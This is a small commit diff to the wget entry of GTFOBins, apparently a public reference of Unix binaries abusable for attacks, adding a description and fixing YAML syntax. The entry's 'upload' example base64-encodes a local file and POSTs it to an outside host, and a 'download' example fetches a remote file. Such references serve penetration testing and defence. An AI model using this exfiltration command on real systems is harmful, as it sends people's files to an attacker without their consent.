Add missing descriptions

_gtfobins/wget.md

@@ -1,14 +1,14 @@
 ---
 functions:
   upload:
-    - description: Send base64-encoded local file via "d" parameter of a HTTP POST request.
+    - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end.
       code: |
         export URL=http://10.0.0.1/
         export LFILE=file_to_send
         wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL
   download:
     - description: Fetch a remote file via HTTP GET request.
-      code: |-
+      code: |
         export URL=http://10.0.0.1/file_to_get
         export LFILE=file_to_get
         wget $URL -O $LFILE